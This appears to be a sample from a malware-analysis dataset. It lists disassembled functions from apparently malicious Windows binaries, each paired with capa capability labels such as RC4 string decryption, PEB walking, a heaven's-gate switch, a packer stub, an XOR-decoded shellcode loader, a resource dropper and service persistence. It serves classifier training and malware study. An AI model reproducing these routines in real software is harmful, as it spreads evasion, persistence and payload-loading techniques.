joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402120
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x81c408]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x4022cd
cmp dword [0x81c40c], 0
jne 0x4022b9
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004022e0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x402170
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41d0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x402180
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41d0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x4021b5
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004022e0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402214
sub edx, esi
sar edx, 1
je 0x4022cd
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402230
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x4022cd
xor eax, eax
push ebx
test edx, edx
je 0x402268
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x402268
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x402251
xor eax, eax
test edx, edx
je 0x402282
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x402282
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402270
xor eax, eax
test edx, edx
je 0x40229f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x40229f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402290
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x81c408]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x4027c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40280b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x4027fb
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x4027e1
jmp 0x402800
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x40285b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x402820
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402820
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x40283c
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401ac0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40287d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4028f0
mov esi, dword [ebx]
cmp esi, ebx
je 0x4028f0
test esi, esi
je 0x4028f0
cmp word [esi + 0x24], 2
jbe 0x4028ea
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4028ea
cmp dword [esi + 0x18], 0
je 0x4028ea
test ebp, ebp
je 0x4028a5
cmp ebp, eax
jne 0x4028ea
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401ac0
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4028ca
cmp eax, dword [esi + 0x18]
jne 0x4028ea
cmp dword [esp + 0x10], 0
je 0x4028fd
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004020c0
add esp, 8
test eax, eax
je 0x4028fd
mov esi, dword [esi]
cmp esi, ebx
jne 0x402883
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x4033f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x40344b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x403410
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x40342c
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401ac0
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40346d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4034df
mov esi, dword [ebx]
cmp esi, ebx
je 0x4034df
test esi, esi
je 0x4034df
cmp word [esi + 0x24], 2
jbe 0x4034d9
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4034d9
cmp dword [esi + 0x18], 0
je 0x4034d9
test ebp, ebp
je 0x403495
cmp ebp, eax
jne 0x4034d9
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401ac0
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x4034ba
cmp edx, dword [esi + 0x18]
jne 0x4034d9
cmp dword [esp + 0x14], eax
je 0x4034ec
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.004020c0
add esp, 8
test eax, eax
je 0x4034ec
mov esi, dword [esi]
cmp esi, ebx
jne 0x403473
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
Function at 0x4038f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x81d274]
sub esp, 0x11c
test eax, eax
jne 0x4039ee
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004022e0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x403940
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41d100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x403950
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41d104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x403985
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.004033f0
pop edi
pop esi
pop ebx
test eax, eax
je 0x4039e9
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4039e9
mov dword [0x81d274], eax
add esp, 0x11c
ret
mov eax, dword [0x81d274]
add esp, 0x11c
ret
Function at 0x404000
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x81c548
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x404129
cmp dword fs:[0xc0], eax
je 0x40402b
mov dword [0x81c544], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x81c42c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x81c430], eax
movzx edx, word [esi + 0xac]
mov dword [0x81c434], edx
mov eax, dword [esi + 0xb0]
mov dword [0x81c438], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40408b
push 0x7f
push eax
push 0x81c43c
call fcn.00401ac0
mov edx, dword [0x81c434]
add esp, 0xc
jmp 0x404093
xor eax, eax
mov word [0x81c43c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x81c53c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x81c53e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x81c540], ax
mov ecx, eax
mov byte [0x81c542], 0
cmp byte [0x7ffe0268], 0
je 0x4040da
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x81c542], bl
cmp ebx, 1
pop ebx
jne 0x4040f4
and ecx, 0xffef
mov word [0x81c540], cx
test edx, edx
jne 0x404129
call fcn.00404000
cmp dword [0x81c42c], 6
ja 0x404129
jb 0x404111
cmp dword [0x81c430], 4
jae 0x404129
call fcn.00404000
cmp dword [0x81c42c], 0xa
jae 0x404129
mov dword [0x81c434], 1
ret

Function at 0x4042b0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x4042d8
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x4042e6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x4042ff
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x40430d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x404326
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x404334
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x40434d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x40435b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x4043a2
add dword [esp], 5
retf

Function at 0x41cfd2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
sub eax, 0xfffffffe
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov edi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call edi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
or cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop esi
cmp eax, 0xffffffff
je 0x1000127a
push edi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], edi
jbe 0x10001278
mov dl, byte [eax + edi]
xor dl, cl
add dl, 0x42
mov byte [eax + edi], dl
inc edi
cmp edi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10
Function at 0x40a2d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
fld qword [ebp - 0xe]
pop eax
dec eax
add al, 0x85
leave
jne 0x40a2ed
add eax, 0x12
push eax
call dword [0x36c038]
xor edi, eax
mov byte [esi + 0x40610004], ah
popal
inc eax
or byte [edx - 1], ch
push eax
call dword [0x40289c]
test eax, eax
je 0x40a2e7
invalid
invalid
invalid
invalid
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x8e11c0
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e11c6
pop ebp
sub ebp, 6
sub ebp, 0x4e11c0
jmp 0x8e1224
jmp 0x8e122d
mov eax, 0x4e11c0
add eax, ebp
add eax, 0x93
mov ecx, 0x62b
mov edx, 0xf2f356de
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1244
jmp 0x8e1257
mov ah, 0x9e
mov dh, 0xde
into
invalid
Function at 0x4014ed
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0x14], 1
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x44], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x18], 0xffffffff
and dword [ebp - 8], 0
mov dword [ebp - 0x40], 0x64616f4c
mov dword [ebp - 0x3c], 0x6f736552
mov dword [ebp - 0x38], 0x65637275
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x40]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x409300
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 4], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp + 0x10], 0x65
jne 0x401593
mov dword [ebp - 0x1c], 0x843
cmp dword [ebp + 0x10], 0x66
jne 0x4015a0
mov dword [ebp - 0x1c], 0x976
push dword [ebp - 4]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x44]
push dword [ebp - 0x10]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push dword [ebp - 0x1c]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.00401000
push 0
push dword [ebp + 0x14]
push 2
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4015fd
and dword [ebp - 0x14], 0
jmp 0x401612
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x10], 0
je 0x401627
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
cmp dword [ebp - 0x44], 0
je 0x401636
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [ebp - 0x18], 0xffffffff
je 0x401645
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
leave
ret 0x10
Function at 0x40164c
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov dword [ebp - 0x118], 3
and dword [ebp - 4], 0
and dword [ebp - 0x11c], 0
or dword [ebp - 0x114], 0xffffffff
cmp dword [ebp + 8], 0
je 0x401681
mov dword [ebp - 0x118], 2
push 0
push 0x80
push dword [ebp - 0x118]
push 0
push 3
push 0xc0000000
push str.C:DelInfo.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
jne 0x4016c3
and dword [ebp - 0x11c], 0
mov eax, dword [ebp - 0x11c]
jmp 0x401847
cmp dword [ebp + 8], 0
je 0x4017a4
and dword [ebp - 0x22c], 0
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
mov dword [ebp - 0x22c], eax
push str.booter.exe
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401755
push str.CONFIG.exe
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401755
push str.boottemp.exe
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40175c
mov dword [ebp + 0xc], 3
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401841
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0xb
jbe 0x40182a
and dword [ebp - 0x230], 0
jmp 0x401800
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xc8
jge 0x40182a
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 1
jne 0x401820
jmp 0x40182a
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4017f3
push str.C:DelInfo.bin
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
leave
ret 8
Function at 0x4019d9
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48c
and dword [ebp - 0x48], 0
and dword [ebp - 0x44], 0
push 0x400
push 0
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x48c], 0
jmp 0x401a16
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
push dword [ebp - 0x48c]
push 1
push 0x40
lea eax, [ebp - 0x88]
push eax
call fcn.00401879
cmp eax, 0xffffffff
jne 0x401a33
jmp 0x401a61
lea eax, [ebp - 0x88]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401a5f
push dword [ebp - 0x48c]
push 0
push 0x40
lea eax, [ebp - 0x40]
push eax
call fcn.00401879
mov dword [ebp - 0x48], eax
jmp 0x401a61
jmp 0x401a09
cmp dword [ebp - 0x48], 0
jne 0x401a6d
mov eax, dword [ebp + 8]
mov dword [ebp - 0x48], eax
cmp dword [ebp + 0xc], 0
je 0x401a7f
push dword [ebp - 0x48]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x48]
push dword [0x40b548]
push 0x409478
lea eax, [ebp - 0x488]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x44]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x488]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp + 0x10]
push eax
push 4
push 0
push str.Start
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 0xc

Function at 0x401adf
Capabilities:
Check for time delay via gettickcount
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
and dword [ebp - 0x194], 0
and dword [ebp - 0x198], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x194], eax
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0x198]
push eax
push 0
push 0
push str.www.baidu.com
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x401b56
cmp dword [ebp + 8], 0xffffffff
je 0x401b49
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x194]
cmp eax, dword [ebp + 8]
jb 0x401b49
xor eax, eax
jmp 0x401b6b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401b14
push dword [ebp - 0x198]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4